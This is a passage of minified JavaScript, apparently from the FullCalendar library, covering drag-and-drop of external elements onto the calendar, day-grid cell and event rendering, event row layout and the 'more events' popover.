a.emitter.on("pointerdown",n.handlePointerDown),a.emitter.on("dragstart",n.handleDragStart),a.emitter.on("hitupdate",n.handleHitUpdate),a.emitter.on("dragend",n.handleDragEnd),n}return n(t,e),t.prototype.destroy=function(){this.dragging.destroy()},t.prototype.querySegEl=function(e){return z(e.subjectEl,".fc-event")},t}(ci);var Ua=function(){function e(e){var t=this;this.context=e,this.isRecentPointerDateSelect=!1,this.matchesCancel=!1,this.matchesEvent=!1,this.onSelect=function(e){e.jsEvent&&(t.isRecentPointerDateSelect=!0)},this.onDocumentPointerDown=function(e){var n=t.context.options.unselectCancel,r=e.origEvent.target;t.matchesCancel=!!z(r,n),t.matchesEvent=!!z(r,Oa.SELECTOR)},this.onDocumentPointerUp=function(e){var n=t.context,r=t.documentPointer,o=n.getCurrentData();if(!r.wasTouchScroll){if(o.dateSelection&&!t.isRecentPointerDateSelect){var i=n.options.unselectAuto;!i||i&&t.matchesCancel||n.calendarApi.unselect(e)}o.eventSelection&&!t.matchesEvent&&n.dispatch({type:"UNSELECT_EVENT"})}t.isRecentPointerDateSelect=!1};var n=this.documentPointer=new Sa(document);n.shouldIgnoreMove=!0,n.shouldWatchScroll=!1,n.emitter.on("pointerdown",this.onDocumentPointerDown),n.emitter.on("pointerup",this.onDocumentPointerUp),e.emitter.on("select",this.onSelect)}return e.prototype.destroy=function(){this.context.emitter.off("select",this.onSelect),this.documentPointer.destroy()},e}(),La={fixedMirrorParent:Pt},Wa={dateClick:Pt,eventDragStart:Pt,eventDragStop:Pt,eventDrop:Pt,eventResizeStart:Pt,eventResizeStop:Pt,eventResize:Pt,drop:Pt,eventReceive:Pt,eventLeave:Pt},Va=function(){function e(e,t){var n=this;this.receivingContext=null,this.droppableEvent=null,this.suppliedDragMeta=null,this.dragMeta=null,this.handleDragStart=function(e){n.dragMeta=n.buildDragMeta(e.subjectEl)},this.handleHitUpdate=function(e,t,o){var i=n.hitDragging.dragging,a=null,s=null,l=!1,u={affectedEvents:{defs:{},instances:{}},mutatedEvents:{defs:{},instances:{}},isEvent:n.dragMeta.create};e&&(a=e.component.context,n.canDropElOnCalendar(o.subjectEl,a)&&(s=function(e,t,n){for(var o=r({},t.leftoverProps),i=0,a=n.pluginHooks.externalDefTransforms;i<a.length;i++){var s=a[i];r(o,s(e,t))}var l=Xt(o,n),u=l.refined,c=l.extra,d=Jt(u,c,t.sourceId,e.allDay,n.options.forceEventDuration||Boolean(t.duration),n),p=e.range.start;e.allDay&&t.startTime&&(p=n.dateEnv.add(p,t.startTime));var f=t.duration?n.dateEnv.add(p,t.duration):Nn(e.allDay,p,n),h=Ne(d.defId,{start:p,end:f});return{def:d,instance:h}}(e.dateSpan,n.dragMeta,a),u.mutatedEvents=Ht(s),(l=!eo(u,a))&&(u.mutatedEvents={defs:{},instances:{}},s=null))),n.displayDrag(a,u),i.setMirrorIsVisible(t||!s||!document.querySelector(".fc-event-mirror")),l?te():ne(),t||(i.setMirrorNeedsRevert(!s),n.receivingContext=a,n.droppableEvent=s)},this.handleDragEnd=function(e){var t=n,o=t.receivingContext,i=t.droppableEvent;if(n.clearDrag(),o&&i){var a=n.hitDragging.finalHit,s=a.component.context.viewApi,l=n.dragMeta;if(o.emitter.trigger("drop",r(r({},Pa(a.dateSpan,o)),{draggedEl:e.subjectEl,jsEvent:e.origEvent,view:s})),l.create){var u=Ht(i);o.dispatch({type:"MERGE_EVENTS",eventStore:u}),e.isTouch&&o.dispatch({type:"SELECT_EVENT",eventInstanceId:i.instance.instanceId}),o.emitter.trigger("eventReceive",{event:new Bn(o,i.def,i.instance),relatedEvents:[],revert:function(){o.dispatch({type:"REMOVE_EVENTS",eventStore:u})},draggedEl:e.subjectEl,view:s})}}n.receivingContext=null,n.droppableEvent=null};var o=this.hitDragging=new _a(e,fi);o.requireInitial=!1,o.emitter.on("dragstart",this.handleDragStart),o.emitter.on("hitupdate",this.handleHitUpdate),o.emitter.on("dragend",this.handleDragEnd),this.suppliedDragMeta=t}return e.prototype.buildDragMeta=function(e){return"object"==typeof this.suppliedDragMeta?mi(this.suppliedDragMeta):"function"==typeof this.suppliedDragMeta?mi(this.suppliedDragMeta(e)):mi((t=function(e,t){var n=vi.dataAttrPrefix,r=(n?n+"-":"")+t;return e.getAttribute("data-"+r)||""}(e,"event"))?JSON.parse(t):{create:!1});var t},e.prototype.displayDrag=function(e,t){var n=this.receivingContext;n&&n!==e&&n.dispatch({type:"UNSET_EVENT_DRAG"}),e&&e.dispatch({type:"SET_EVENT_DRAG",state:t})},e.prototype.clearDrag=function(){this.receivingContext&&this.receivingContext.dispatch({type:"UNSET_EVENT_DRAG"})},e.prototype.canDropElOnCalendar=function(e,t){var n=t.options.dropAccept;return"function"==typeof n?n.call(t.calendarApi,e):"string"!=typeof n||!n||Boolean(B(e,n))},e}();vi.dataAttrPrefix="";var Fa=function(){function e(e,t){var n=this;void 0===t&&(t={}),this.handlePointerDown=function(e){var t=n.dragging,r=n.settings,o=r.minDistance,i=r.longPressDelay;t.minDistance=null!=o?o:e.isTouch?0:wt.eventDragMinDistance,t.delay=e.isTouch?null!=i?i:wt.longPressDelay:0},this.handleDragStart=function(e){e.isTouch&&n.dragging.delay&&e.subjectEl.classList.contains("fc-event")&&n.dragging.mirror.getMirrorEl().classList.add("fc-event-selected")},this.settings=t;var r=this.dragging=new Ma(e);r.touchScrollAllowed=!1,null!=t.itemSelector&&(r.pointer.selector=t.itemSelector),null!=t.appendTo&&(r.mirror.parentNode=t.appendTo),r.emitter.on("pointerdown",this.handlePointerDown),r.emitter.on("dragstart",this.handleDragStart),new Va(r,t.eventData)}return e.prototype.destroy=function(){this.dragging.destroy()},e}(),za=function(e){function t(t){var n=e.call(this,t)||this;n.shouldIgnoreMove=!1,n.mirrorSelector="",n.currentMirrorEl=null,n.handlePointerDown=function(e){n.emitter.trigger("pointerdown",e),n.shouldIgnoreMove||n.emitter.trigger("dragstart",e)},n.handlePointerMove=function(e){n.shouldIgnoreMove||n.emitter.trigger("dragmove",e)},n.handlePointerUp=function(e){n.emitter.trigger("pointerup",e),n.shouldIgnoreMove||n.emitter.trigger("dragend",e)};var r=n.pointer=new Sa(t);return r.emitter.on("pointerdown",n.handlePointerDown),r.emitter.on("pointermove",n.handlePointerMove),r.emitter.on("pointerup",n.handlePointerUp),n}return n(t,e),t.prototype.destroy=function(){this.pointer.destroy()},t.prototype.setIgnoreMove=function(e){this.shouldIgnoreMove=e},t.prototype.setMirrorIsVisible=function(e){if(e)this.currentMirrorEl&&(this.currentMirrorEl.style.visibility="",this.currentMirrorEl=null);else{var t=this.mirrorSelector?document.querySelector(this.mirrorSelector):null;t&&(this.currentMirrorEl=t,t.style.visibility="hidden")}},t}(hi),Ba=function(){function e(e,t){var n=document;e===document||e instanceof Element?(n=e,t=t||{}):t=e||{};var r=this.dragging=new za(n);"string"==typeof t.itemSelector?r.pointer.selector=t.itemSelector:n===document&&(r.pointer.selector="[data-event]"),"string"==typeof t.mirrorSelector&&(r.mirrorSelector=t.mirrorSelector),new Va(r,t.eventData)}return e.prototype.destroy=function(){this.dragging.destroy()},e}(),ja=lo({componentInteractions:[Na,Ha,Oa,Aa],calendarInteractions:[Ua],elementDraggingImpl:Ma,optionRefiners:La,listenerRefiners:Wa}),Ga=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.headerElRef=Lr(),t}return n(t,e),t.prototype.renderSimpleLayout=function(e,t){var n=this.props,r=this.context,o=[],i=ea(r.options);return e&&o.push({type:"header",key:"header",isSticky:i,chunk:{elRef:this.headerElRef,tableClassName:"fc-col-header",rowContent:e}}),o.push({type:"body",key:"body",liquid:!0,chunk:{content:t}}),Ar(Do,{viewSpec:r.viewSpec},(function(e,t){return Ar("div",{ref:e,className:["fc-daygrid"].concat(t).join(" ")},Ar(na,{liquid:!n.isHeightAuto&&!n.forPrint,cols:[],sections:o}))}))},t.prototype.renderHScrollLayout=function(e,t,n,r){var o=this.context.pluginHooks.scrollGridImpl;if(!o)throw new Error("No ScrollGrid implementation");var i=this.props,a=this.context,s=!i.forPrint&&ea(a.options),l=!i.forPrint&&ta(a.options),u=[];return e&&u.push({type:"header",key:"header",isSticky:s,chunks:[{key:"main",elRef:this.headerElRef,tableClassName:"fc-col-header",rowContent:e}]}),u.push({type:"body",key:"body",liquid:!0,chunks:[{key:"main",content:t}]}),l&&u.push({type:"footer",key:"footer",isSticky:!0,chunks:[{key:"main",content:Qi}]}),Ar(Do,{viewSpec:a.viewSpec},(function(e,t){return Ar("div",{ref:e,className:["fc-daygrid"].concat(t).join(" ")},Ar(o,{liquid:!i.isHeightAuto&&!i.forPrint,colGroups:[{cols:[{span:n,minWidth:r}]}],sections:u}))}))},t}(so);function qa(e,t){for(var n=[],r=0;r<t;r+=1)n[r]=[];for(var o=0,i=e;o<i.length;o++){var a=i[o];n[a.row].push(a)}return n}function Ya(e,t){for(var n=[],r=0;r<t;r+=1)n[r]=[];for(var o=0,i=e;o<i.length;o++){var a=i[o];n[a.firstCol].push(a)}return n}function Za(e,t){var n=[];if(e){for(a=0;a<t;a+=1)n[a]={affectedInstances:e.affectedInstances,isEvent:e.isEvent,segs:[]};for(var r=0,o=e.segs;r<o.length;r++){var i=o[r];n[i.row].segs.push(i)}}else for(var a=0;a<t;a+=1)n[a]=null;return n}var Xa=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){var e=this.props,t=this.context.options.navLinks?{"data-navlink":yr(e.date),tabIndex:0}:{};return Ar(la,{date:e.date,dateProfile:e.dateProfile,todayRange:e.todayRange,showDayNumber:e.showDayNumber,extraHookProps:e.extraHookProps,defaultContent:Ka},(function(n,o){return(o||e.forceDayTop)&&Ar("div",{className:"fc-daygrid-day-top",ref:n},Ar("a",r({className:"fc-daygrid-day-number"},t),o||Ar(Wr,null," ")))}))},t}(Yr);function Ka(e){return e.dayNumberText}var Ja=bt({week:"narrow"}),$a=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.handleRootEl=function(e){t.rootEl=e,Kr(t.props.elRef,e)},t.handleMoreLinkClick=function(e){var n=t.props;if(n.onMoreClick){var r=n.segsByEachCol,o=r.filter((function(e){return n.segIsHidden[e.eventRange.instance.instanceId]}));n.onMoreClick({date:n.date,allSegs:r,hiddenSegs:o,moreCnt:n.moreCnt,dayEl:t.rootEl,ev:e})}},t}return n(t,e),t.prototype.render=function(){var e=this,t=this.context,n=t.options,o=t.viewApi,i=this.props,a=i.date,s=i.dateProfile,l={num:i.moreCnt,text:i.buildMoreLinkText(i.moreCnt),view:o},u=n.navLinks?{"data-navlink":yr(a,"week"),tabIndex:0}:{};return Ar(ca,{date:a,dateProfile:s,todayRange:i.todayRange,showDayNumber:i.showDayNumber,extraHookProps:i.extraHookProps,elRef:this.handleRootEl},(function(t,o,c,d){return Ar("td",r({ref:t,className:["fc-daygrid-day"].concat(o,i.extraClassNames||[]).join(" ")},c,i.extraDataAttrs),Ar("div",{className:"fc-daygrid-day-frame fc-scrollgrid-sync-inner",ref:i.innerElRef},i.showWeekNumber&&Ar(ha,{date:a,defaultFormat:Ja},(function(e,t,n,o){return Ar("a",r({ref:e,className:["fc-daygrid-week-number"].concat(t).join(" ")},u),o)})),!d&&Ar(Xa,{date:a,dateProfile:s,showDayNumber:i.showDayNumber,forceDayTop:i.forceDayTop,todayRange:i.todayRange,extraHookProps:i.extraHookProps}),Ar("div",{className:"fc-daygrid-day-events",ref:i.fgContentElRef,style:{paddingBottom:i.fgPaddingBottom}},i.fgContent,Boolean(i.moreCnt)&&Ar("div",{className:"fc-daygrid-day-bottom",style:{marginTop:i.moreMarginTop}},Ar(fo,{hookProps:l,classNames:n.moreLinkClassNames,content:n.moreLinkContent,defaultContent:Qa,didMount:n.moreLinkDidMount,willUnmount:n.moreLinkWillUnmount},(function(t,n,r,o){return Ar("a",{ref:t,className:["fc-daygrid-more-link"].concat(n).join(" "),onClick:e.handleMoreLinkClick},o)})))),Ar("div",{className:"fc-daygrid-day-bg"},i.bgContent)))}))},t}(so);function Qa(e){return e.text}$a.addPropsEquality({onMoreClick:!0});var es=bt({hour:"numeric",minute:"2-digit",omitZeroMinute:!0,meridiem:"narrow"});function ts(e){var t=e.eventRange.ui.display;return"list-item"===t||"auto"===t&&!e.eventRange.def.allDay&&e.firstCol===e.lastCol&&e.isStart&&e.isEnd}var ns=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){var e=this.props,t=this.context,n=t.options.eventTimeFormat||es,o=Dn(e.seg,n,t,!0,e.defaultDisplayEventEnd);return Ar(ra,{seg:e.seg,timeText:o,defaultContent:rs,isDragging:e.isDragging,isResizing:!1,isDateSelecting:!1,isSelected:e.isSelected,isPast:e.isPast,isFuture:e.isFuture,isToday:e.isToday},(function(t,n,o,i){return Ar("a",r({className:["fc-daygrid-event","fc-daygrid-dot-event"].concat(n).join(" "),ref:t},(a=e.seg,(s=a.eventRange.def.url)?{href:s}:{})),i);var a,s}))},t}(Yr);function rs(e){return Ar(Wr,null,Ar("div",{className:"fc-daygrid-event-dot",style:{borderColor:e.borderColor||e.backgroundColor}}),e.timeText&&Ar("div",{className:"fc-event-time"},e.timeText),Ar("div",{className:"fc-event-title"},e.event.title||Ar(Wr,null," ")))}var os=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){var e=this.props;return Ar(oa,r({},e,{extraClassNames:["fc-daygrid-event","fc-daygrid-block-event","fc-h-event"],defaultTimeFormat:es,defaultDisplayEventEnd:e.defaultDisplayEventEnd,disableResizing:!e.seg.eventRange.def.allDay}))},t}(Yr);function is(e,t,n,o,i,a,s,l){for(var u=[],c=[],d={},p={},f={},h={},v={},g=0;g<s;g+=1)u.push([]),c.push(0);for(var m=0,y=t=gn(t,l);m<y.length;m++){T(w=y[m],i[w.eventRange.instance.instanceId+":"+w.firstCol]||0)}!0===n||!0===o?function(e,t,n,r){ss(e,t,n,!0,(function(e){return e.bottom<=r}))}(c,d,u,a):"number"==typeof n?function(e,t,n,r){ss(e,t,n,!1,(function(e,t){return t<r}))}(c,d,u,n):"number"==typeof o&&function(e,t,n,r){ss(e,t,n,!0,(function(e,t){return t<r}))}(c,d,u,o);for(var E=0;E<s;E+=1){for(var S=0,D=0,b=0,C=u[E];b<C.length;b++){var w,R=C[b];d[(w=R.seg).eventRange.instance.instanceId]||(p[w.eventRange.instance.instanceId]=R.top,w.firstCol===w.lastCol&&w.isStart&&w.isEnd?(f[w.eventRange.instance.instanceId]=R.top-S,D=0,S=R.bottom):D=R.bottom-S)}D&&(c[E]?h[E]=D:v[E]=D)}function T(e,t){if(!k(e,t,0))for(var n=e.firstCol;n<=e.lastCol;n+=1)for(var r=0,o=u[n];r<o.length;r++){if(k(e,t,o[r].bottom))return}}function k(e,t,n){if(function(e,t,n){for(var r=e.firstCol;r<=e.lastCol;r+=1)for(var o=0,i=u[r];o<i.length;o++){var a=i[o];if(n<a.bottom&&n+t>a.top)return!1}return!0}(e,t,n)){for(var r=e.firstCol;r<=e.lastCol;r+=1){for(var o=u[r],i=0;i<o.length&&n>=o[i].top;)i+=1;o.splice(i,0,{seg:e,top:n,bottom:n+t})}return!0}return!1}for(var M in i)i[M]||(d[M.split(":")[0]]=!0);return{segsByFirstCol:u.map(as),segsByEachCol:u.map((function(t,n){var o=function(e){for(var t=[],n=0,r=e;n<r.length;n++){var o=r[n];t.push(o.seg)}return t}(t);return o=function(e,t,n){for(var o=t,i=me(o,1),a={start:o,end:i},s=[],l=0,u=e;l<u.length;l++){var c=u[l],d=c.eventRange,p=d.range,f=on(p,a);f&&s.push(r(r({},c),{firstCol:n,lastCol:n,eventRange:{def:d.def,ui:r(r({},d.ui),{durationEditable:!1}),instance:d.instance,range:f},isStart:c.isStart&&f.start.valueOf()===p.start.valueOf(),isEnd:c.isEnd&&f.end.valueOf()===p.end.valueOf()}))}return s}(o,e[n].date,n)})),segIsHidden:d,segTops:p,segMarginTops:f,moreCnts:c,moreTops:h,paddingBottoms:v}}function as(e,t){for(var n=[],r=0,o=e;r<o.length;r++){var i=o[r];i.seg.firstCol===t&&n.push(i.seg)}return n}function ss(e,t,n,r,o){for(var i=e.length,a={},s=[],l=0;l<i;l+=1)s.push([]);for(l=0;l<i;l+=1)for(var u=0,c=0,d=n[l];c<d.length;c++){var p=d[c];o(p,u)?f(p):h(p,u,r),p.top!==p.bottom&&(u+=1)}function f(e){var t=e.seg,n=t.eventRange.instance.instanceId;if(!a[n]){a[n]=!0;for(var r=t.firstCol;r<=t.lastCol;r+=1){for(var o=s[r],i=0;i<o.length&&e.top>=o[i].top;)i+=1;o.splice(i,0,e)}}}function h(n,r,o){var i=n.seg,a=i.eventRange.instance.instanceId;if(!t[a]){t[a]=!0;for(var l=i.firstCol;l<=i.lastCol;l+=1){e[l]+=1;var u=e[l];if(o&&1===u&&r>0)for(var c=r-1;s[l].length>c;)h(s[l].pop(),s[l].length,!1)}}}}var ls=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.cellElRefs=new zi,t.frameElRefs=new zi,t.fgElRefs=new zi,t.segHarnessRefs=new zi,t.rootElRef=Lr(),t.state={framePositions:null,maxContentHeight:null,segHeights:{}},t}return n(t,e),t.prototype.render=function(){var e=this,t=this.props,n=this.state,o=this.context,i=t.cells.length,a=Ya(t.businessHourSegs,i),s=Ya(t.bgEventSegs,i),l=Ya(this.getHighlightSegs(),i),u=Ya(this.getMirrorSegs(),i),c=is(t.cells,t.fgEventSegs,t.dayMaxEvents,t.dayMaxEventRows,n.segHeights,n.maxContentHeight,i,o.options.eventOrder),d=c.paddingBottoms,p=c.segsByFirstCol,f=c.segsByEachCol,h=c.segIsHidden,v=c.segTops,g=c.segMarginTops,m=c.moreCnts,y=c.moreTops,E=t.eventDrag&&t.eventDrag.affectedInstances||t.eventResize&&t.eventResize.affectedInstances||{};return Ar("tr",{ref:this.rootElRef},t.renderIntro&&t.renderIntro(),t.cells.map((function(n,o){var i=e.renderFgSegs(p[o],h,v,g,E,t.todayRange),c=e.renderFgSegs(u[o],{},v,{},{},t.todayRange,Boolean(t.eventDrag),Boolean(t.eventResize),!1);return Ar($a,{key:n.key,elRef:e.cellElRefs.createRef(n.key),innerElRef:e.frameElRefs.createRef(n.key),dateProfile:t.dateProfile,date:n.date,showDayNumber:t.showDayNumbers,showWeekNumber:t.showWeekNumbers&&0===o,forceDayTop:t.showWeekNumbers,todayRange:t.todayRange,extraHookProps:n.extraHookProps,extraDataAttrs:n.extraDataAttrs,extraClassNames:n.extraClassNames,moreCnt:m[o],buildMoreLinkText:t.buildMoreLinkText,onMoreClick:function(e){t.onMoreClick(r(r({},e),{fromCol:o}))},segIsHidden:h,moreMarginTop:y[o],segsByEachCol:f[o],fgPaddingBottom:d[o],fgContentElRef:e.fgElRefs.createRef(n.key),fgContent:Ar(Wr,null,Ar(Wr,null,i),Ar(Wr,null,c)),bgContent:Ar(Wr,null,e.renderFillSegs(l[o],"highlight"),e.renderFillSegs(a[o],"non-business"),e.renderFillSegs(s[o],"bg-event"))})})))},t.prototype.componentDidMount=function(){this.updateSizing(!0)},t.prototype.componentDidUpdate=function(e,t){var n=this.props;this.updateSizing(!Ve(e,n))},t.prototype.getHighlightSegs=function(){var e=this.props;return e.eventDrag&&e.eventDrag.segs.length?e.eventDrag.segs:e.eventResize&&e.eventResize.segs.length?e.eventResize.segs:e.dateSelectionSegs},t.prototype.getMirrorSegs=function(){var e=this.props;return e.eventResize&&e.eventResize.segs.length?e.eventResize.segs:[]},t.prototype.renderFgSegs=function(e,t,n,o,i,a,s,l,u){var c=this.context,d=this.props.eventSelection,p=this.state.framePositions,f=1===this.props.cells.length,h=[];if(p)for(var v=0,g=e;v<g.length;v++){var m=g[v],y=m.eventRange.instance.instanceId,E=s||l||u,S=i[y],D=t[y]||S,b=t[y]||E||m.firstCol!==m.lastCol||!m.isStart||!m.isEnd,C=void 0,w=void 0,R=void 0,T=void 0;b?(w=n[y],c.isRtl?(T=0,R=p.lefts[m.lastCol]-p.lefts[m.firstCol]):(R=0,T=p.rights[m.firstCol]-p.rights[m.lastCol])):C=o[y],h.push(Ar("div",{className:"fc-daygrid-event-harness"+(b?" fc-daygrid-event-harness-abs":""),key:y,ref:E?null:this.segHarnessRefs.createRef(y+":"+m.firstCol),style:{visibility:D?"hidden":"",marginTop:C||"",top:w||"",left:R||"",right:T||""}},ts(m)?Ar(ns,r({seg:m,isDragging:s,isSelected:y===d,defaultDisplayEventEnd:f},bn(m,a))):Ar(os,r({seg:m,isDragging:s,isResizing:l,isDateSelecting:u,isSelected:y===d,defaultDisplayEventEnd:f},bn(m,a)))))}return h},t.prototype.renderFillSegs=function(e,t){var n=this.context.isRtl,i=this.props.todayRange,a=this.state.framePositions,s=[];if(a)for(var l=0,u=e;l<u.length;l++){var c=u[l],d=n?{right:0,left:a.lefts[c.lastCol]-a.lefts[c.firstCol]}:{left:0,right:a.rights[c.firstCol]-a.rights[c.lastCol]};s.push(Ar("div",{key:wn(c.eventRange),className:"fc-daygrid-bg-harness",style:d},"bg-event"===t?Ar(pa,r({seg:c},bn(c,i))):da(t)))}return Ar.apply(void 0,o([Wr,{}],s))},t.prototype.updateSizing=function(e){var t=this.props,n=this.frameElRefs;if(null!==t.clientWidth){if(e){var r=t.cells.map((function(e){return n.currentMap[e.key]}));if(r.length){var o=this.rootElRef.current;this.setState({framePositions:new _r(o,r,!0,!1)})}}var i=!0===t.dayMaxEvents||!0===t.dayMaxEventRows;this.setState({segHeights:this.computeSegHeights(),maxContentHeight:i?this.computeMaxContentHeight():null})}},t.prototype.computeSegHeights=function(){return Ue(this.segHarnessRefs.currentMap,(function(e){return e.getBoundingClientRect().height}))},t.prototype.computeMaxContentHeight=function(){var e=this.props.cells[0].key,t=this.cellElRefs.currentMap[e],n=this.fgElRefs.currentMap[e];return t.getBoundingClientRect().bottom-n.getBoundingClientRect().top},t.prototype.getCellEls=function(){var e=this.cellElRefs.currentMap;return this.props.cells.map((function(t){return e[t.key]}))},t}(so);ls.addPropsEquality({onMoreClick:!0}),ls.addStateEquality({segHeights:Ve});var us=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.repositioner=new Zo(t.updateSize.bind(t)),t.handleRootEl=function(e){t.rootEl=e,t.props.elRef&&Kr(t.props.elRef,e)},t.handleDocumentMousedown=function(e){var n=t.props.onClose;n&&!t.rootEl.contains(e.target)&&n()},t.handleDocumentScroll=function(){t.repositioner.request(10)},t.handleCloseClick=function(){var e=t.props.onClose;e&&e()},t}return n(t,e),t.prototype.render=function(){var e=this.context.theme,t=this.props,n=["fc-popover",e.getClass("popover")].concat(t.extraClassNames||[]);return Ar("div",r({className:n.join(" ")},t.extraAttrs,{ref:this.handleRootEl}),Ar("div",{className:"fc-popover-header "+e.getClass("popoverHeader")},Ar("span",{className:"fc-popover-title"},t.title),Ar("span",{className:"fc-popover-close "+e.getIconClass("close"),onClick:this.handleCloseClick})),Ar("div",{className:"fc-popover-body "+e.getClass("popoverContent")},t.children))},t.prototype.componentDidMount=function(){document.addEventListener("mousedown",this.handleDocumentMousedown),document.addEventListener("scroll",this.handleDocumentScroll),this.updateSize()},t.prototype.componentWillUnmount=function(){document.removeEventListener("mousedown",this.handleDocumentMousedown),document.removeEventListener("scroll",this.handleDocumentScroll)},t.prototype.updateSize=function(){var e=this.props,t=e.alignmentEl,n=e.topAlignmentEl,r=this.rootEl;if(r){var o,i=r.getBoundingClientRect(),a=t.getBoundingClientRect(),s=n?n.getBoundingClientRect().top:a.top;s=Math.min(s,window.innerHeight-i.height-10),s=Math.max(s,10),o=this.context.isRtl?a.right-i.width:a.left,o=Math.min(o,window.innerWidth-i.width-10),q(r,{top:s,left:o=Math.max(o,10)})}},t}(Yr),cs=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.rootElRef=Lr(),t}return n(t,e),t.prototype.render=function(){var e=this.context,t=e.options,n=e.dateEnv,o=this.props,i=o.date,a=o.hiddenInstances,s=o.todayRange,l=o.dateProfile,u=o.selectedInstanceId,c=n.format(i,t.dayPopoverFormat);return Ar(ca,{date:i,dateProfile:l,todayRange:s,elRef:this.rootElRef},(function(e,t,n){return Ar(us,{elRef:e,title:c,extraClassNames:["fc-more-popover"].concat(t),extraAttrs:n,onClose:o.onCloseClick,alignmentEl:o.alignmentEl,topAlignmentEl:o.topAlignmentEl},Ar(la,{date:i,dateProfile:l,todayRange:s},(function(e,t){return t&&Ar("div",{className:"fc-more-popover-misc",ref:e},t)})),o.segs.map((function(e){var t=e.eventRange.instance.instanceId;return Ar("div",{className:"fc-daygrid-event-harness",key:t,style:{visibility:a[t]?"hidden":""}},ts(e)?Ar(ns,r({seg:e,isDragging:!1,isSelected:t===u,defaultDisplayEventEnd:!1},bn(e,s))):Ar(os,r({seg:e,isDragging:!1,isResizing:!1,isDateSelecting:!1,isSelected:t===u,defaultDisplayEventEnd:!1},bn(e,s))))})))}))},t.prototype.positionToHit=function(e,t,n){var r=this.rootElRef.current;if(!n||!r)return null;var o=n.getBoundingClientRect(),i=r.getBoundingClientRect(),a=i.left-o.left,s=i.top-o.top,l=e-a,u=t-s,c=this.props.date;return l>=0&&l<i.width&&u>=0&&u<i.height?{dateSpan:{allDay:!0,range:{start:c,end:me(c,1)}},dayEl:r,relativeRect:{left:a,top:s,right:i.width,bottom:i.height},layer:1}:null},t}(so),ds=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.splitBusinessHourSegs=st(qa),t.splitBgEventSegs=st(qa),t.splitFgEventSegs=st(qa),t.splitDateSelectionSegs=st(qa),t.splitEventDrag=st(Za),t.splitEventResize=st(Za),t.buildBuildMoreLinkText=st(ps),t.morePopoverRef=Lr(),t.rowRefs=new zi,t.state={morePopoverState:null},t.handleRootEl=function(e){t.rootEl=e,Kr(t.props.elRef,e)},t.handleMoreLinkClick=function(e){var n=t.context,o=n.dateEnv,i=n.options.moreLinkClick;function a(e){var t=e.eventRange,r=t.def,i=t.instance,a=t.range;return{event:new Bn(n,r,i),start:o.toDate(a.start),end:o.toDate(a.end),isStart:e.isStart,isEnd:e.isEnd}}"function"==typeof i&&(i=i({date:o.toDate(e.date),allDay:!0,allSegs:e.allSegs.map(a),hiddenSegs:e.hiddenSegs.map(a),jsEvent:e.ev,view:n.viewApi})),i&&"popover"!==i?"string"==typeof i&&n.calendarApi.zoomTo(e.date,i):t.setState({morePopoverState:r(r({},e),{currentFgEventSegs:t.props.fgEventSegs,fromRow:e.fromRow,fromCol:e.fromCol})})},t.handleMorePopoverClose=function(){t.setState({morePopoverState:null})},t}return n(t,e),t.prototype.render=function(){var e=this,t=this.props,n=t.dateProfile,o=t.dayMaxEventRows,i=t.dayMaxEvents,a=t.expandRows,s=this.state.morePopoverState,l=t.cells.length,u=this.splitBusinessHourSegs(t.businessHourSegs,l),c=this.splitBgEventSegs(t.bgEventSegs,l),d=this.splitFgEventSegs(t.fgEventSegs,l),p=this.splitDateSelectionSegs(t.dateSelectionSegs,l),f=this.splitEventDrag(t.eventDrag,l),h=this.splitEventResize(t.eventResize,l),v=this.buildBuildMoreLinkText(this.context.options.moreLinkText),g=!0===i||!0===o;return g&&!a&&(g=!1,o=null,i=null),Ar("div",{className:["fc-daygrid-body",g?"fc-daygrid-body-balanced":"fc-daygrid-body-unbalanced",a?"":"fc-daygrid-body-natural"].join(" "),ref:this.handleRootEl,style:{width:t.clientWidth,minWidth:t.tableMinWidth}},Ar(Pi,{unit:"day"},(function(g,m){return Ar(Wr,null,Ar("table",{className:"fc-scrollgrid-sync-table",style:{width:t.clientWidth,minWidth:t.tableMinWidth,height:a?t.clientHeight:""}},t.colGroupNode,Ar("tbody",null,t.cells.map((function(a,s){return Ar(ls,{ref:e.rowRefs.createRef(s),key:a.length?a[0].date.toISOString():s,showDayNumbers:l>1,showWeekNumbers:t.showWeekNumbers,todayRange:m,dateProfile:n,cells:a,renderIntro:t.renderRowIntro,businessHourSegs:u[s],eventSelection:t.eventSelection,bgEventSegs:c[s].filter(fs),fgEventSegs:d[s],dateSelectionSegs:p[s],eventDrag:f[s],eventResize:h[s],dayMaxEvents:i,dayMaxEventRows:o,clientWidth:t.clientWidth,clientHeight:t.clientHeight,buildMoreLinkText:v,onMoreClick:function(t){e.handleMoreLinkClick(r(r({},t),{fromRow:s}))}})})))),!t.forPrint&&s&&s.currentFgEventSegs===t.fgEventSegs&&Ar(cs,{ref:e.morePopoverRef,date:s.date,dateProfile:n,segs:s.allSegs,alignmentEl:s.dayEl,topAlignmentEl:1===l?t.headerAlignElRef.current:null,onCloseClick:e.handleMorePopoverClose,selectedInstanceId:t.eventSelection,hiddenInstances:(t.eventDrag?t.eventDrag.affectedInstances:null)||(t.eventResize?t.eventResize.affectedInstances:null)||{},todayRange:m}))})))},t.prototype.prepareHits=function(){this.rowPositions=new _r(this.rootEl,this.rowRefs.collect().map((function(e){return e.getCellEls()[0]})),!1,!0),this.colPositions=new _r(this.rootEl,this.rowRefs.currentMap[0].getCellEls(),!0,!1)},t.prototype.positionToHit=function(e,t){var n=this.morePopoverRef.current,o=n?n.positionToHit(e,t,this.rootEl):null,i=this.state.morePopoverState;if(o)return r({row:i.fromRow,col:i.fromCol},o);var a=this.colPositions,s=this.rowPositions,l=a.leftToIndex(e),u=s.topToIndex(t);return null!=u&&null!=l?{row:u,col:l,dateSpan:{range:this.getCellRange(u,l),allDay:!0},dayEl:this.getCellEl(u,l),relativeRect:{left:a.lefts[l],right:a.rights[l],top:s.tops[u],bottom:s.bottoms[u]}}:null},t.prototype.getCellEl=function(e,t){return 